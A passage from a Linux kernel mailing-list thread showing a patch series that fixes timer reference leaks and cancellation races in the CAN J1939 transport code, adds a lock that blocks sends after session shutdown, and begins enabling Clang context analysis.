+ lockdep_assert_held(&session->txtimer_lock);
+ if (session->txtimer_shutdown)
+ return;
+
+ /* Replace the queued pin; a running callback retains its separate pin. */
+ ret = hrtimer_try_to_cancel(&session->txtimer);
+ if (ret == 1) {
+ /* Reuse the pin owned by the removed queued timer. */
+ if (WARN_ON_ONCE(!session->txtimer_qref))
+ j1939_session_get(session);
+ session->txtimer_qref = true;
+ } else if (ret == 0) {
+ /* If the callback owns its pin, take a separate pin for the new queue. */
+ if (!session->txtimer_qref) {
+ j1939_session_get(session);
+ session->txtimer_qref = true;
+ }
+ } else {
+ /* A dispatched callback may already have requeued the timer. */
+ queued = hrtimer_is_queued(&session->txtimer);
+ if (!queued && !session->txtimer_cbref &&
+ session->txtimer_qref) {
+ /* Claim the reference of the dispatched callback. */
+ WARN_ON_ONCE(session->txtimer_cb_running);
+ session->txtimer_qref = false;
+ session->txtimer_cbref = true;
+ session->txtimer_cb_running = true;
+ }
+ if (!session->txtimer_qref) {
+ j1939_session_get(session);
+ session->txtimer_qref = true;
+ }
+ }
+
hrtimer_start(&session->txtimer, ms_to_ktime(msec),
HRTIMER_MODE_REL_SOFT);
}
-static inline void j1939_tp_set_rxtimeout(struct j1939_session *session,
+void j1939_tp_schedule_txtimer(struct j1939_session *session, int msec)
+{
+ spin_lock_bh(&session->txtimer_lock);
+ j1939_tp_schedule_txtimer_locked(session, msec);
+ spin_unlock_bh(&session->txtimer_lock);
+}
+
+static void j1939_tp_set_rxtimeout_locked(struct j1939_session *session,
int msec)
{
- j1939_session_rxtimer_cancel(session);
- j1939_session_get(session);
+ bool queued;
+ int ret;
+
+ lockdep_assert_held(&session->priv->active_session_list_lock);
+ if (session->state < J1939_SESSION_ACTIVE ||
+ session->state >= J1939_SESSION_ACTIVE_MAX) {
+ session->rxtimer_pending = false;
+ return;
+ }
+ if (session->rxtimer_cancelers) {
+ /* The last temporary drain installs the latest requested timeout. */
+ session->rxtimer_pending = true;
+ session->rxtimer_pending_timeout = msec;
+ return;
+ }
+ session->rxtimer_pending = false;
+
+ /* Reuse a removed queued pin; a running callback keeps its own pin. */
+ ret = hrtimer_try_to_cancel(&session->rxtimer);
+ if (ret == 1) {
+ if (WARN_ON_ONCE(!session->rxtimer_qref))
+ j1939_session_get(session);
+ session->rxtimer_qref = true;
+ } else if (ret == 0) {
+ if (!session->rxtimer_qref) {
+ j1939_session_get(session);
+ session->rxtimer_qref = true;
+ }
+ } else {
+ queued = hrtimer_is_queued(&session->rxtimer);
+ if (!queued && !session->rxtimer_cbref &&
+ session->rxtimer_qref) {
+ WARN_ON_ONCE(session->rxtimer_cb_running);
+ session->rxtimer_qref = false;
+ session->rxtimer_cbref = true;
+ session->rxtimer_cb_running = true;
+ }
+ if (!session->rxtimer_qref) {
+ j1939_session_get(session);
+ session->rxtimer_qref = true;
+ }
+ }
+
hrtimer_start(&session->rxtimer, ms_to_ktime(msec),
HRTIMER_MODE_REL_SOFT);
}
-static int j1939_session_tx_rts(struct j1939_session *session)
+static inline void j1939_tp_set_rxtimeout(struct j1939_session *session,
+ int msec)
+{
+ j1939_session_list_lock(session->priv);
+ j1939_tp_set_rxtimeout_locked(session, msec);
+ j1939_session_list_unlock(session->priv);
+}
+
+static int j1939_session_tx_rts(struct j1939_session *session,
+ unsigned int *txtimer_delay)
{
u8 dat[8];
int ret;
@@ -766,7 +978,7 @@ static int j1939_session_tx_rts(struct j1939_session *session)
session->last_txcmd = dat[0];
if (dat[0] == J1939_TP_CMD_BAM) {
- j1939_tp_schedule_txtimer(session, 50);
+ *txtimer_delay = 50;
j1939_tp_set_rxtimeout(session, 250);
} else {
j1939_tp_set_rxtimeout(session, 1250);
@@ -806,7 +1018,8 @@ static int j1939_session_tx_dpo(struct j1939_session *session)
return 0;
}
-static int j1939_session_tx_dat(struct j1939_session *session)
+static int j1939_session_tx_dat(struct j1939_session *session,
+ unsigned int *txtimer_delay)
{
struct j1939_priv *priv = session->priv;
struct j1939_sk_buff_cb *se_skcb;
@@ -870,7 +1083,7 @@ static int j1939_session_tx_dat(struct j1939_session *session)
j1939_tp_packet_delay;
if (session->pkt.tx < session->pkt.total && pdelay) {
- j1939_tp_schedule_txtimer(session, pdelay);
+ *txtimer_delay = pdelay;
break;
}
}
@@ -887,7 +1100,8 @@ static int j1939_session_tx_dat(struct j1939_session *session)
return ret;
}
-static int j1939_xtp_txnext_transmiter(struct j1939_session *session)
+static int j1939_xtp_txnext_transmiter(struct j1939_session *session,
+ unsigned int *txtimer_delay)
{
struct j1939_priv *priv = session->priv;
int ret = 0;
@@ -900,7 +1114,7 @@ static int j1939_xtp_txnext_transmiter(struct j1939_session *session)
switch (session->last_cmd) {
case 0:
- ret = j1939_session_tx_rts(session);
+ ret = j1939_session_tx_rts(session, txtimer_delay);
break;
case J1939_ETP_CMD_CTS:
@@ -915,7 +1129,7 @@ static int j1939_xtp_txnext_transmiter(struct j1939_session *session)
case 0xff: /* did some data */
case J1939_ETP_CMD_DPO:
case J1939_TP_CMD_BAM:
- ret = j1939_session_tx_dat(session);
+ ret = j1939_session_tx_dat(session, txtimer_delay);
break;
default:
@@ -1112,6 +1326,7 @@ static bool j1939_session_deactivate_locked(struct j1939_session *session)
list_del_init(&session->active_session_list_entry);
session->state = J1939_SESSION_DONE;
+ session->rxtimer_pending = false;
j1939_session_put(session);
}
@@ -1127,6 +1342,11 @@ static bool j1939_session_deactivate(struct j1939_session *session)
active = j1939_session_deactivate_locked(session);
j1939_session_list_unlock(priv);
+ if (active) {
+ j1939_session_txtimer_cancel_async(session);
+ j1939_session_rxtimer_cancel(session);
+ }
+
return active;
}
@@ -1165,7 +1385,8 @@ static void j1939_session_cancel(struct j1939_session *session,
if (session->state >= J1939_SESSION_ACTIVE &&
session->state < J1939_SESSION_WAITING_ABORT) {
- j1939_tp_set_rxtimeout(session, J1939_XTP_ABORT_TIMEOUT_MS);
+ j1939_tp_set_rxtimeout_locked(session,
+ J1939_XTP_ABORT_TIMEOUT_MS);
__j1939_session_cancel(session, err);
}
@@ -1180,13 +1401,35 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
struct j1939_session *session =
container_of(hrtimer, struct j1939_session, txtimer);
struct j1939_priv *priv = session->priv;
+ unsigned int txtimer_delay = 0;
+ enum j1939_session_state state;
+ bool shutdown;
+ bool put_cbref = false;
int ret = 0;
+ spin_lock_bh(&session->txtimer_lock);
+ /* A concurrent rearm may already have recorded the callback pin. */
+ if (!session->txtimer_cbref) {
+ WARN_ON_ONCE(session->txtimer_cb_running);
+ WARN_ON_ONCE(!session->txtimer_qref);
+ session->txtimer_qref = false;
+ session->txtimer_cbref = true;
+ }
+ session->txtimer_cb_running = true;
+ shutdown = session->txtimer_shutdown;
+ spin_unlock_bh(&session->txtimer_lock);
+
+ j1939_session_list_lock(priv);
+ state = session->state;
+ j1939_session_list_unlock(priv);
+ if (shutdown || state != J1939_SESSION_ACTIVE)
+ goto txtimer_done;
+
if (session->skcb.addr.type == J1939_SIMPLE) {
ret = j1939_simple_txnext(session);
} else {
if (session->transmission)
- ret = j1939_xtp_txnext_transmiter(session);
+ ret = j1939_xtp_txnext_transmiter(session, &txtimer_delay);
else
ret = j1939_xtp_txnext_receiver(session);
}
@@ -1196,12 +1439,15 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
/* Retry limit is currently arbitrary chosen */
if (session->tx_retry < J1939_XTP_TX_RETRY_LIMIT) {
session->tx_retry++;
- j1939_tp_schedule_txtimer(session,
- 10 + get_random_u32_below(16));
+ txtimer_delay = 10 + get_random_u32_below(16);
} else {
netdev_alert(priv->ndev, "%s: 0x%p: tx retry count reached\n",
__func__, session);
- session->err = -ENETUNREACH;
+ j1939_session_list_lock(priv);
+ if (session->state >= J1939_SESSION_ACTIVE &&
+ session->state < J1939_SESSION_ACTIVE_MAX)
+ session->err = -ENETUNREACH;
+ j1939_session_list_unlock(priv);
j1939_session_rxtimer_cancel(session);
j1939_session_deactivate_activate_next(session);
}
@@ -1226,13 +1472,37 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
if (session->skcb.addr.type != J1939_SIMPLE) {
j1939_session_cancel(session, J1939_XTP_ABORT_OTHER);
} else {
- session->err = ret;
+ j1939_session_list_lock(priv);
+ if (session->state >= J1939_SESSION_ACTIVE &&
+ session->state < J1939_SESSION_ACTIVE_MAX)
+ session->err = ret;
+ j1939_session_list_unlock(priv);
j1939_session_rxtimer_cancel(session);
j1939_session_deactivate_activate_next(session);
}
}
- j1939_session_put(session);
+txtimer_done:
+ spin_lock_bh(&session->txtimer_lock);
+ WARN_ON_ONCE(!session->txtimer_cb_running ||
+ !session->txtimer_cbref);
+ session->txtimer_cb_running = false;
+ if (txtimer_delay && !session->txtimer_shutdown &&
+ !session->txtimer_qref) {
+ /* Transfer the callback pin to its rearmed timer. */
+ session->txtimer_cbref = false;
+ session->txtimer_qref = true;
+ hrtimer_start(&session->txtimer, ms_to_ktime(txtimer_delay),
+ HRTIMER_MODE_REL_SOFT);
+ } else {
+ /* An external qref, if present, owns the next firing. */
+ session->txtimer_cbref = false;
+ put_cbref = true;
+ }
+ spin_unlock_bh(&session->txtimer_lock);
+
+ if (put_cbref)
+ j1939_session_put(session);
return HRTIMER_NORESTART;
}
@@ -1257,8 +1527,25 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
struct j1939_session,
rxtimer);
struct j1939_priv *priv = session->priv;
+ enum j1939_session_state state;
+ bool active;
+
+ j1939_session_list_lock(priv);
+ if (!session->rxtimer_cbref) {
+ WARN_ON_ONCE(session->rxtimer_cb_running);
+ WARN_ON_ONCE(!session->rxtimer_qref);
+ session->rxtimer_qref = false;
+ session->rxtimer_cbref = true;
+ }
+ session->rxtimer_cb_running = true;
+ state = session->state;
+ active = state >= J1939_SESSION_ACTIVE &&
+ state < J1939_SESSION_ACTIVE_MAX;
+ j1939_session_list_unlock(priv);
- if (session->state == J1939_SESSION_WAITING_ABORT) {
+ if (!active) {
+ /* A terminal path won before this callback started its work. */
+ } else if (state == J1939_SESSION_WAITING_ABORT) {
netdev_alert(priv->ndev, "%s: 0x%p: abort rx timeout. Force session deactivation\n",
__func__, session);
@@ -1271,18 +1558,24 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
/* The message is probably stuck in the CAN controller and can
* be send as soon as CAN bus is in working state again.
*/
- session->err = -ETIME;
- j1939_session_deactivate(session);
+ j1939_session_list_lock(priv);
+ if (session->state >= J1939_SESSION_ACTIVE &&
+ session->state < J1939_SESSION_ACTIVE_MAX) {
+ session->err = -ETIME;
+ j1939_session_deactivate_locked(session);
+ }
+ j1939_session_list_unlock(priv);
+ j1939_session_txtimer_cancel_async(session);
+ j1939_session_rxtimer_cancel(session);
} else {
j1939_session_list_lock(session->priv);
- if (session->state >= J1939_SESSION_ACTIVE &&
+ if (!session->rxtimer_cancelers &&
+ session->state >= J1939_SESSION_ACTIVE &&
session->state < J1939_SESSION_ACTIVE_MAX) {
netdev_alert(priv->ndev, "%s: 0x%p: rx timeout, send abort\n",
__func__, session);
- j1939_session_get(session);
- hrtimer_start(&session->rxtimer,
- ms_to_ktime(J1939_XTP_ABORT_TIMEOUT_MS),
- HRTIMER_MODE_REL_SOFT);
+ j1939_tp_set_rxtimeout_locked(session,
+ J1939_XTP_ABORT_TIMEOUT_MS);
__j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT);
}
j1939_session_list_unlock(session->priv);
@@ -1291,6 +1584,13 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
}
+ j1939_session_list_lock(priv);
+ WARN_ON_ONCE(!session->rxtimer_cb_running ||
+ !session->rxtimer_cbref);
+ session->rxtimer_cb_running = false;
+ WARN_ON_ONCE(!session->rxtimer_cbref);
+ session->rxtimer_cbref = false;
+ j1939_session_list_unlock(priv);
j1939_session_put(session);
return HRTIMER_NORESTART;
@@ -1372,7 +1672,11 @@ static void j1939_xtp_rx_abort_one(struct j1939_priv *priv, struct sk_buff *skb,
j1939_xtp_abort_to_str(abort));
j1939_session_timers_cancel(session);
- session->err = j1939_xtp_abort_to_errno(priv, abort);
+ j1939_session_list_lock(priv);
+ if (session->state >= J1939_SESSION_ACTIVE &&
+ session->state < J1939_SESSION_ACTIVE_MAX)
+ session->err = j1939_xtp_abort_to_errno(priv, abort);
+ j1939_session_list_unlock(priv);
if (session->sk)
j1939_sk_send_loop_abort(session->sk, session->err);
else
@@ -1486,7 +1790,6 @@ j1939_xtp_rx_cts_one(struct j1939_session *session, struct sk_buff *skb)
if (session->pkt.tx_acked)
j1939_sk_errqueue(session,
J1939_ERRQUEUE_TX_SCHED);
- j1939_session_txtimer_cancel(session);
j1939_tp_schedule_txtimer(session, 0);
}
} else {
@@ -1540,8 +1843,12 @@ static struct j1939_session *j1939_session_new(struct j1939_priv *priv,
skcb = j1939_skb_to_cb(skb);
memcpy(&session->skcb, skcb, sizeof(session->skcb));
- hrtimer_setup(&session->txtimer, j1939_tp_txtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
- hrtimer_setup(&session->rxtimer, j1939_tp_rxtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
+ scoped_guard(spinlock_init, &session->txtimer_lock) {
+ hrtimer_setup(&session->txtimer, j1939_tp_txtimer,
+ CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
+ }
+ hrtimer_setup(&session->rxtimer, j1939_tp_rxtimer,
+ CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
netdev_dbg(priv->ndev, "%s: 0x%p: sa: %02x, da: %02x\n",
__func__, session, skcb->addr.sa, skcb->addr.da);
@@ -1810,7 +2117,6 @@ static void j1939_xtp_rx_rts(struct j1939_priv *priv, struct sk_buff *skb,
j1939_tp_set_rxtimeout(session, 750);
} else {
if (!session->transmission) {
- j1939_session_txtimer_cancel(session);
j1939_tp_schedule_txtimer(session, 0);
}
j1939_tp_set_rxtimeout(session, 1250);
@@ -2234,24 +2540,40 @@ void j1939_simple_recv(struct j1939_priv *priv, struct sk_buff *skb)
int j1939_cancel_active_session(struct j1939_priv *priv, struct sock *sk)
{
- struct j1939_session *session, *saved;
+ struct j1939_session *session, *iter;
netdev_dbg(priv->ndev, "%s, sk: %p\n", __func__, sk);
- j1939_session_list_lock(priv);
- list_for_each_entry_safe(session, saved,
- &priv->active_session_list,
- active_session_list_entry) {
- if (!sk || sk == session->sk) {
- if (hrtimer_try_to_cancel(&session->txtimer) == 1)
- j1939_session_put(session);
- if (hrtimer_try_to_cancel(&session->rxtimer) == 1)
- j1939_session_put(session);
+ for (;;) {
+ session = NULL;
+ j1939_session_list_lock(priv);
+ list_for_each_entry(iter, &priv->active_session_list,
+ active_session_list_entry) {
+ if (sk && sk != iter->sk)
+ continue;
+
+ /* Hold the session while timer callbacks are drained below. */
+ session = iter;
+ j1939_session_get(session);
+ break;
+ }
+ j1939_session_list_unlock(priv);
+ if (!session)
+ break;
+
+ j1939_session_list_lock(priv);
+ if (session->state >= J1939_SESSION_ACTIVE &&
+ session->state < J1939_SESSION_ACTIVE_MAX) {
session->err = ESHUTDOWN;
j1939_session_deactivate_locked(session);
}
+ j1939_session_list_unlock(priv);
+
+ /* No state lock is held while waiting for either softirq timer. */
+ j1939_session_txtimer_cancel(session);
+ j1939_session_rxtimer_cancel_sync(session, false);
+ j1939_session_put(session);
}
- j1939_session_list_unlock(priv);
return NOTIFY_DONE;
}
--
2.43.0
^ permalink raw reply related [flat|nested] 8+ messages in thread
* [PATCH net v3 2/3] can: j1939: stop TX sends after session shutdown
2026-10-29 8:43 [PATCH net v3 0/3] can: j1939: fix timer reference and cancellation races Zihan Xi
2026-10-29 8:43 ` [PATCH net v3 1/3] can: j1939: fix session reference leaks on timer rearm Zihan Xi
@ 2026-10-29 8:43 ` Zihan Xi
2026-10-29 9:15 ` sashiko-bot
2026-10-29 8:43 ` [PATCH net v3 3/3] can: j1939: enable context analysis Zihan Xi
2 siblings, 1 reply; 8+ messages in thread
From: Zihan Xi @ 2026-10-29 8:43 UTC (permalink / raw)
To: linux-can, llvm
Cc: robin, o.rempel, kernel, socketcan, mkl, ecathinds, dev.kurt,
maxime.jayat, bst, nathan, ndesaulniers, morbo, justinstitt, vega,
zihanx
Serialize session data and control frame transmission with transitions
that shut down a session. This prevents a timer callback from sending
after the session is deactivated or an incoming ABORT starts draining
its timers.
Also suppress the callback-generated XTP ABORT frame once RX ABORT has
closed the session send gate.
Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
Cc: stable@vger.kernel.org
Link: https://bugtracker.nebusec.ai/f/11143
Link: https://lore.kernel.org/all/cover.1793012287.git.zihanx@nebusec.ai/
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
net/can/j1939/j1939-priv.h | 10 ++++--
net/can/j1939/transport.c | 68 +++++++++++++++++++++++++++++++++-----
2 files changed, 66 insertions(+), 12 deletions(-)
diff --git a/net/can/j1939/j1939-priv.h b/net/can/j1939/j1939-priv.h
index c0a4c1478240..6bf55b7dfffc 100644
--- a/net/can/j1939/j1939-priv.h
+++ b/net/can/j1939/j1939-priv.h
@@ -238,6 +238,10 @@ struct j1939_session {
struct list_head sk_session_queue_entry;
struct kref kref;
struct sock *sk;
+ /* Serializes session TX sends against transition to DONE. */
+ spinlock_t tx_send_lock;
+ bool tx_send_shutdown;
+
/* ifindex, src, dst, pgn define the session block
* the are _never_ modified after insertion in the list
* this decreases locking problems a _lot_
@@ -289,22 +293,22 @@ struct j1939_session {
/* dpo - ETP.CM_DPO, Data Packet Offset */
unsigned int dpo;
} pkt;
+ /* Protects TX timer rearming and cancellation. */
+ spinlock_t txtimer_lock;
/*
* qref pins the queued timer; cbref pins a running callback. A
* concurrent rearm can leave both references outstanding.
*/
- /* Protects TX timer rearming and cancellation. */
- spinlock_t txtimer_lock;
struct hrtimer txtimer;
bool txtimer_qref;
bool txtimer_cbref;
bool txtimer_cb_running;
bool txtimer_shutdown;
- /* RX timer state and refs below use active_session_list_lock. */
struct hrtimer rxtimer;
bool rxtimer_qref;
bool rxtimer_cbref;
bool rxtimer_cb_running;
+ /* RX timer state and refs below use active_session_list_lock. */
/* Temporary drains defer rearming; the last drain installs the pending timeout. */
unsigned int rxtimer_cancelers;
bool rxtimer_pending;
diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
index 0dd08d1b8f75..570e2b8d0826 100644
--- a/net/can/j1939/transport.c
+++ b/net/can/j1939/transport.c
@@ -763,6 +763,29 @@ sk_buff *j1939_tp_tx_dat_new(struct j1939_priv *priv,
return skb;
}
+static int j1939_session_tx_send(struct j1939_session *session,
+ struct sk_buff *skb)
+{
+ enum j1939_session_state state;
+ int ret;
+
+ spin_lock_bh(&session->tx_send_lock);
+ j1939_session_list_lock(session->priv);
+ state = session->state;
+ j1939_session_list_unlock(session->priv);
+ if (session->tx_send_shutdown || state != J1939_SESSION_ACTIVE) {
+ kfree_skb(skb);
+ ret = -ESHUTDOWN;
+ goto out_unlock;
+ }
+
+ ret = j1939_send_one(session->priv, skb);
+
+out_unlock:
+ spin_unlock_bh(&session->tx_send_lock);
+ return ret;
+}
+
/* TP transmit packet functions */
static int j1939_tp_tx_dat(struct j1939_session *session,
const u8 *dat, int len)
@@ -779,10 +802,11 @@ static int j1939_tp_tx_dat(struct j1939_session *session,
if (j1939_tp_padding && len < 8)
memset(skb_put(skb, 8 - len), 0xff, 8 - len);
- return j1939_send_one(priv, skb);
+ return j1939_session_tx_send(session, skb);
}
-static int j1939_xtp_do_tx_ctl(struct j1939_priv *priv,
+static int j1939_xtp_do_tx_ctl(struct j1939_session *session,
+ struct j1939_priv *priv,
const struct j1939_sk_buff_cb *re_skcb,
bool swap_src_dst, pgn_t pgn, const u8 *dat)
{
@@ -802,6 +826,9 @@ static int j1939_xtp_do_tx_ctl(struct j1939_priv *priv,
skdat[6] = (pgn >> 8);
skdat[7] = (pgn >> 16);
+ if (session)
+ return j1939_session_tx_send(session, skb);
+
return j1939_send_one(priv, skb);
}
@@ -810,7 +837,7 @@ static inline int j1939_tp_tx_ctl(struct j1939_session *session,
{
struct j1939_priv *priv = session->priv;
- return j1939_xtp_do_tx_ctl(priv, &session->skcb,
+ return j1939_xtp_do_tx_ctl(session, priv, &session->skcb,
swap_src_dst,
session->skcb.addr.pgn, dat);
}
@@ -829,7 +856,7 @@ static int j1939_xtp_tx_abort(struct j1939_priv *priv,
memset(dat, 0xff, sizeof(dat));
dat[0] = J1939_TP_CMD_ABORT;
dat[1] = err;
- return j1939_xtp_do_tx_ctl(priv, re_skcb, swap_src_dst, pgn, dat);
+ return j1939_xtp_do_tx_ctl(NULL, priv, re_skcb, swap_src_dst, pgn, dat);
}
static void j1939_tp_schedule_txtimer_locked(struct j1939_session *session,
@@ -842,7 +869,6 @@ static void j1939_tp_schedule_txtimer_locked(struct j1939_session *session,
if (session->txtimer_shutdown)
return;
- /* Replace the queued pin; a running callback retains its separate pin. */
ret = hrtimer_try_to_cancel(&session->txtimer);
if (ret == 1) {
/* Reuse the pin owned by the removed queued timer. */
@@ -1269,7 +1295,6 @@ static int j1939_xtp_txnext_receiver(struct j1939_session *session)
static int j1939_simple_txnext(struct j1939_session *session)
{
- struct j1939_priv *priv = session->priv;
struct sk_buff *se_skb = j1939_session_skb_get(session);
struct sk_buff *skb;
int ret;
@@ -1298,7 +1323,7 @@ static int j1939_simple_txnext(struct j1939_session *session)
j1939_tp_set_rxtimeout(session, J1939_SIMPLE_ECHO_TIMEOUT_MS);
- ret = j1939_send_one(priv, skb);
+ ret = j1939_session_tx_send(session, skb);
if (ret)
goto out_free;
@@ -1318,6 +1343,7 @@ static bool j1939_session_deactivate_locked(struct j1939_session *session)
{
bool active = false;
+ lockdep_assert_held(&session->tx_send_lock);
lockdep_assert_held(&session->priv->active_session_list_lock);
if (session->state >= J1939_SESSION_ACTIVE &&
@@ -1333,14 +1359,23 @@ static bool j1939_session_deactivate_locked(struct j1939_session *session)
return active;
}
+static void j1939_session_tx_send_shutdown(struct j1939_session *session)
+{
+ spin_lock_bh(&session->tx_send_lock);
+ session->tx_send_shutdown = true;
+ spin_unlock_bh(&session->tx_send_lock);
+}
+
static bool j1939_session_deactivate(struct j1939_session *session)
{
struct j1939_priv *priv = session->priv;
bool active;
+ spin_lock_bh(&session->tx_send_lock);
j1939_session_list_lock(priv);
active = j1939_session_deactivate_locked(session);
j1939_session_list_unlock(priv);
+ spin_unlock_bh(&session->tx_send_lock);
if (active) {
j1939_session_txtimer_cancel_async(session);
@@ -1363,12 +1398,14 @@ static void __j1939_session_cancel(struct j1939_session *session,
struct j1939_priv *priv = session->priv;
WARN_ON_ONCE(!err);
+ lockdep_assert_held(&session->tx_send_lock);
lockdep_assert_held(&session->priv->active_session_list_lock);
session->err = j1939_xtp_abort_to_errno(priv, err);
session->state = J1939_SESSION_WAITING_ABORT;
/* do not send aborts on incoming broadcasts */
- if (!j1939_cb_is_broadcast(&session->skcb)) {
+ if (!session->tx_send_shutdown &&
+ !j1939_cb_is_broadcast(&session->skcb)) {
j1939_xtp_tx_abort(priv, &session->skcb,
!session->transmission,
err, session->skcb.addr.pgn);
@@ -1381,6 +1418,7 @@ static void __j1939_session_cancel(struct j1939_session *session,
static void j1939_session_cancel(struct j1939_session *session,
enum j1939_xtp_abort err)
{
+ spin_lock_bh(&session->tx_send_lock);
j1939_session_list_lock(session->priv);
if (session->state >= J1939_SESSION_ACTIVE &&
@@ -1391,6 +1429,7 @@ static void j1939_session_cancel(struct j1939_session *session,
}
j1939_session_list_unlock(session->priv);
+ spin_unlock_bh(&session->tx_send_lock);
if (!session->sk)
j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
@@ -1408,7 +1447,6 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
int ret = 0;
spin_lock_bh(&session->txtimer_lock);
- /* A concurrent rearm may already have recorded the callback pin. */
if (!session->txtimer_cbref) {
WARN_ON_ONCE(session->txtimer_cb_running);
WARN_ON_ONCE(!session->txtimer_qref);
@@ -1460,6 +1498,9 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
* propagation of the error to user space.
*/
break;
+ case -ESHUTDOWN:
+ /* A terminal path won before this packet could be sent. */
+ break;
case -EOVERFLOW:
j1939_session_cancel(session, J1939_XTP_ABORT_ECTS_TOO_BIG);
break;
@@ -1558,6 +1599,7 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
/* The message is probably stuck in the CAN controller and can
* be send as soon as CAN bus is in working state again.
*/
+ spin_lock_bh(&session->tx_send_lock);
j1939_session_list_lock(priv);
if (session->state >= J1939_SESSION_ACTIVE &&
session->state < J1939_SESSION_ACTIVE_MAX) {
@@ -1565,9 +1607,11 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
j1939_session_deactivate_locked(session);
}
j1939_session_list_unlock(priv);
+ spin_unlock_bh(&session->tx_send_lock);
j1939_session_txtimer_cancel_async(session);
j1939_session_rxtimer_cancel(session);
} else {
+ spin_lock_bh(&session->tx_send_lock);
j1939_session_list_lock(session->priv);
if (!session->rxtimer_cancelers &&
session->state >= J1939_SESSION_ACTIVE &&
@@ -1579,6 +1623,7 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
__j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT);
}
j1939_session_list_unlock(session->priv);
+ spin_unlock_bh(&session->tx_send_lock);
if (!session->sk)
j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
@@ -1671,6 +1716,8 @@ static void j1939_xtp_rx_abort_one(struct j1939_priv *priv, struct sk_buff *skb,
session, j1939_xtp_ctl_to_pgn(skb->data), abort,
j1939_xtp_abort_to_str(abort));
+ /* Stop TX callbacks before waiting for the timer callbacks to drain. */
+ j1939_session_tx_send_shutdown(session);
j1939_session_timers_cancel(session);
j1939_session_list_lock(priv);
if (session->state >= J1939_SESSION_ACTIVE &&
@@ -1843,6 +1890,7 @@ static struct j1939_session *j1939_session_new(struct j1939_priv *priv,
skcb = j1939_skb_to_cb(skb);
memcpy(&session->skcb, skcb, sizeof(session->skcb));
+ spin_lock_init(&session->tx_send_lock);
scoped_guard(spinlock_init, &session->txtimer_lock) {
hrtimer_setup(&session->txtimer, j1939_tp_txtimer,
CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
@@ -2561,6 +2609,7 @@ int j1939_cancel_active_session(struct j1939_priv *priv, struct sock *sk)
if (!session)
break;
+ spin_lock_bh(&session->tx_send_lock);
j1939_session_list_lock(priv);
if (session->state >= J1939_SESSION_ACTIVE &&
session->state < J1939_SESSION_ACTIVE_MAX) {
@@ -2568,6 +2617,7 @@ int j1939_cancel_active_session(struct j1939_priv *priv, struct sock *sk)
j1939_session_deactivate_locked(session);
}
j1939_session_list_unlock(priv);
+ spin_unlock_bh(&session->tx_send_lock);
/* No state lock is held while waiting for either softirq timer. */
j1939_session_txtimer_cancel(session);
--
2.43.0
^ permalink raw reply related [flat|nested] 8+ messages in thread
* [PATCH net v3 3/3] can: j1939: enable context analysis
2026-10-29 8:43 [PATCH net v3 0/3] can: j1939: fix timer reference and cancellation races Zihan Xi
2026-10-29 8:43 ` [PATCH net v3 1/3] can: j1939: fix session reference leaks on timer rearm Zihan Xi
2026-10-29 8:43 ` [PATCH net v3 2/3] can: j1939: stop TX sends after session shutdown Zihan Xi
@ 2026-10-29 8:43 ` Zihan Xi
2 siblings, 0 replies; 8+ messages in thread
From: Zihan Xi @ 2026-10-29 8:43 UTC (permalink / raw)
To: linux-can, llvm
Cc: robin, o.rempel, kernel, socketcan, mkl, ecathinds, dev.kurt,
maxime.jayat, bst, nathan, ndesaulniers, morbo, justinstitt, vega,
zihanx
Enable Clang context analysis for transport.o and annotate the TX timer,
TX-send shutdown flag, and session-list lock wrappers.
Keep the analysis opt-in and its annotations separate from the J1939
timer and send synchronization fixes.
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
net/can/j1939/Makefile | 2 ++
net/can/j1939/j1939-priv.h | 18 +++++++++---------
net/can/j1939/transport.c | 5 +++++
3 files changed, 16 insertions(+), 9 deletions(-)
diff --git a/net/can/j1939/Makefile b/net/can/j1939/Makefile
index 19181bdae173..67462b271252 100644
--- a/net/can/j1939/Makefile
+++ b/net/can/j1939/Makefile
@@ -1,5 +1,7 @@
# SPDX-License-Identifier: GPL-2.0
+CONTEXT_ANALYSIS_transport.o := y
+
obj-$(CONFIG_CAN_J1939) += can-j1939.o
can-j1939-objs := \
diff --git a/net/can/j1939/j1939-priv.h b/net/can/j1939/j1939-priv.h
index 6bf55b7dfffc..d664f32bbb8f 100644
--- a/net/can/j1939/j1939-priv.h
+++ b/net/can/j1939/j1939-priv.h
@@ -240,7 +240,7 @@ struct j1939_session {
struct sock *sk;
/* Serializes session TX sends against transition to DONE. */
spinlock_t tx_send_lock;
- bool tx_send_shutdown;
+ bool tx_send_shutdown __guarded_by(&tx_send_lock);
/* ifindex, src, dst, pgn define the session block
* the are _never_ modified after insertion in the list
@@ -293,22 +293,22 @@ struct j1939_session {
/* dpo - ETP.CM_DPO, Data Packet Offset */
unsigned int dpo;
} pkt;
- /* Protects TX timer rearming and cancellation. */
- spinlock_t txtimer_lock;
/*
* qref pins the queued timer; cbref pins a running callback. A
* concurrent rearm can leave both references outstanding.
*/
- struct hrtimer txtimer;
- bool txtimer_qref;
- bool txtimer_cbref;
